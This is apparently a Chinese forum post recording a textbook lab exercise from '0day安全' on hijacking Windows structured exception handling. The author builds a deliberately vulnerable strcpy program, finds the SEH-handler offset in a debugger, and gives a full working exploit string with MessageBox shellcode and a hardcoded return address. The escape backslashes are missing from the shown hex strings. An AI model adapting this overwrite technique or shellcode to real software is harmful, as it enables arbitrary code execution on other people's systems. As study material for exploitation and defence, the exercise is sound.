昨晚经过一番努力,又把第六章的内容温习了一遍!
随手,做了一个实验!狙击windows的异常处理, 顺便也把过程记录了下来!省事!(有图)
今早,论坛一直无法打开!
就推迟到了现在! 哈哈
正题:
第一个实验就是 狙击windows的异常处理
那么首先,你必须理解什么是windows异常处理
<ignore_js_op> <ignore_js_op> <ignore_js_op> <ignore_js_op>
接下来我们构造 示例代码
- #include "stdafx.h"
- #include <windows.h>
- #include <stdio.h>
- char shellcode[] = " ";//
- DWORD MyExpectionHandler(void)
- {
- printf("this is my expection handler !
");
- getchar();
- return 0;
- }
- //
- void test(char * input)
- {
- char buf[200]={0};
- int zero =0;
- __asm int 3
- __try
- {
- strcpy(buf,input);
- zero =4/zero;
- }
- __except(MyExpectionHandler())
- {
-
- }
- }
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow)
- {
- // TODO: Place code here.
-
- test(shellcode);
- return 0;
- }
复制代码
以上代码是我们构造的有溢出漏洞的代码,其中shellcode还没确定!
其test函数中的strcpy直接将shellcode拷贝到buf中,当shellcode长度,足够长时
就会溢出,溢出数据可以淹没我们添加的异常处理表数据
接下来的除0,将导致异常
这时候,异常处理开始执行!
如果我们的溢出的数据控制了异常处理结构,就可以控制流程执行我们的代码!
接下来的思路是首先od调试,来确定多长可以淹没我们想控制的地方
注意:我们必须使用int3来中断,od附加调试!不能直接用vc调试!原因:异常出现,vc将捕获异常!而不执行我们的异常处理
足够长的shellcode
- char shellcode[] =
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90";
- //共 20×12 = 240
复制代码
<ignore_js_op> 调试下,当执行过rep movs (这一句相当strcpy)后,栈数据区,被我们的90909090填充! 通过od标注,我们发现我们的代码
/240- 4×7 +1 = 213 处为“SHE处理程序”
我们通过溢出覆盖此处
- char shellcode[] =
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- //200
- "x90x90x90x90x90x90x90x90x90x90x90x90x91x92x93x94";
复制代码
<ignore_js_op>
这样调试,可以91-94处覆盖“SHE处理程序” 处
接下来我们来将91-94替换我们的shellcode地址
<ignore_js_op> 我们可以发现 我们的shellcode地址为:0x0012FE4C
- char shellcode[] =
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- //200
- "x90x90x90x90x90x90x90x90x90x90x90x90x4CxFEx12x00";
复制代码
在0x12FE4C处下硬件执行断点。
我们将捕获到此断点 <ignore_js_op>
这说明我们控制啦,CPU,将shellcode 填充我们的 msg shellcode .
- char shellcode[] =
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90"
- //22 * 9 = 198
- //200
- "x90x90x90x90x90x90x90x90x90x90x90x90x4CxFEx12x00";
复制代码
为了不破坏代码布局,我直接把断点int 3 改为nop
运行 后 弹出 msg
<ignore_js_op>
最后附上 最终版代码
- // 0day_6.cpp : Defines the entry point for the application.
- //
- #include "stdafx.h"
- #include <windows.h>
- #include <stdio.h>
- char shellcode[] =
- "xFCx68x6Ax0Ax38x1Ex68x63x89xD1x4Fx68x32x74x91x0Cx8BxF4x8Dx7Ex0Cx33"
- "xDBxB7x04x2BxE3x66xBBx33x32x53x68x75x73x65x72x54x33xD2x64x8Bx5Ax30"
- "x8Bx4Bx0Cx8Bx49x1Cx57x56x8Bx69x08x8Bx79x20x8Bx09x66x39x57x18x75xF2"
- "x5Ex5FxADx3Dx6Ax0Ax38x1Ex75x05x95xFFx57xF8x95x60x8Bx45x3Cx8Bx4Cx05"
- "x78x03xCDx8Bx59x20x03xDDx33xFFx47x8Bx34xBBx03xF5x99x0FxBEx06x3AxC4"
- "x74x08xC1xCAx07x03xD0x46xEBxF1x3Bx54x24x1Cx75xE4x8Bx59x24x03xDDx66"
- "x8Bx3Cx7Bx8Bx59x1Cx03xDDx03x2CxBBx95x5FxABx57x61x3Dx6Ax0Ax38x1Ex75"
- "xA9x33xDBx53x68x61x61x61x61x68x62x62x62x62x8BxC4x53x50x50x53xFFx57"
- "xFCx53xFFx57xF8x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90"
- "x90x90"
- //22 * 9 = 198
- //200
- "x90x90x90x90x90x90x90x90x90x90x90x90x4CxFEx12x00";
- //
- // 20*12 = 240
-
- DWORD MyExpectionHandler(void)
- {
- printf("this is my expection handler !
");
- getchar();
- return 0;
- }
- //
- void test(char * input)
- {
- char buf[200]={0};
- int zero =0;
- __asm nop
- __try
- {
- strcpy(buf,input);
- zero =4/zero;
- }
- __except(MyExpectionHandler())
- {
-
- }
- }
- int APIENTRY WinMain(HINSTANCE hInstance,
- HINSTANCE hPrevInstance,
- LPSTR lpCmdLine,
- int nCmdShow)
- {
- // TODO: Place code here.
-
- test(shellcode);
- return 0;
- }
复制代码
PS: 这个只是实验!源自书《0day安全:软件漏洞分析技术》
重现漏洞! 很基础!
有兴趣的同学可以一起学习下 |